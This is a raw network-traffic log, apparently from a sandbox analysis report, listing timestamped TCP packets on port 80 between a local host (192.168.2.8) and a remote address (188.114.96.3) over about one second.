Aug 27, 2024 09:49:35.980082035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980093956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980099916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980104923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980117083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980123043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980130911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980142117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980143070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980154991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980178118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980180979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980191946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980199099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:35.980202913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:35.980226040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.023597956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.063952923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.063977957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.063988924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064053059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064074039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064085007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064096928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064110041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064124107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064222097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064308882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064320087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064331055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064354897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064364910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064421892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064434052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064445019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064456940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064470053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064472914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064505100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064532042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064575911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064589024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064600945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064616919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064644098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064871073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064882994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064893961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064971924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064984083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.064986944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.064994097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065006971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065010071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065020084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065026999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065052032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065226078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065237999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065248013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065265894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065280914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065291882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065304041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065316916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065330029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065337896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065341949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065372944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065385103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065601110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065612078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065623045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065634966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065646887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065658092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065660000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065670967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065679073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065682888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065700054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065717936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065730095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065748930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065752029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065759897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065773010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065773010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065783978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065809011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065845013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065855026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065857887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065869093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065881968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.065892935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.065917969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066068888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066080093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066091061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066102982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066116095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066127062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066134930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066147089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066149950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066159010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066179037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066183090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066205978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066298962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066312075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066323996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066337109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066344976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066359997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066430092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066467047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066488028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066498995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066528082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066575050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066586018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066597939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066610098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066621065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066689968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066723108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066735029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066745996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066759109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066772938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066780090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066795111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066871881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066886902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066899061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066914082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066917896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066930056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066935062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066941023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066952944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066971064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.066978931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.066984892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067002058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067029953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067557096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067603111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067616940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067655087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067692995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067704916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067715883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067739964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067795038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067807913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067835093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067850113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067872047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067931890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067944050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067955017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067967892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.067970037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.067985058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.068034887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068073988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.068164110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068177938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068190098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068201065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068212986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068223953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.068228006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.068249941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.068321943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151264906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151283026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151295900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151341915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151354074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151365995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151379108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151398897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151492119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151510000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151520967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151526928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151535034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151550055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151566982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151567936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151581049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151608944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.151964903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151977062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151988029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.151999950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152012110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152023077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152034998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152050018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152081013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152106047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152120113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152124882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152137041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152148008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152148008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152179003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152179003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152190924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152201891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152213097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152240992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152275085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152287960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152297974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152309895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152323008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152332067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152343988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152380943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152393103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152405977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152417898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152421951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152430058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152447939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152477980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152504921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152637005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152647972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152666092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152678013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152688980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152689934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152700901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152713060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152724981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152736902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152761936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152795076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.152857065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152870893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152882099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152896881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.152991056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153017998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153029919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153042078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153052092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153070927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153084040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153084993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153096914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153107882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153120995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153125048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153131962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153143883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153147936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153192043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153368950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153381109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153392076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153403997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153415918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153429985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153449059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153459072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153464079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153548956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153584957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153597116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153609037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153621912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153633118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153635979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153649092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153656960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153661013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153678894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153702974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153877974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153889894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153901100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153934956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153947115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153947115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153960943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153974056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.153976917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.153985977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154000998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154084921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154236078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154318094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154330969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154341936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154352903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154364109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154366970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154386044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154465914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154715061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154755116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154767036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154803038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154891968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154903889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154913902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154930115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154939890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.154943943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.154954910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155035973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155069113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155081034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155092001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155103922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155113935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155117035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155128956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155141115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155155897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155186892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.155210018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155221939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155232906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.155256987 CEST	49715	80	192.168.2.8	188.114.96.3
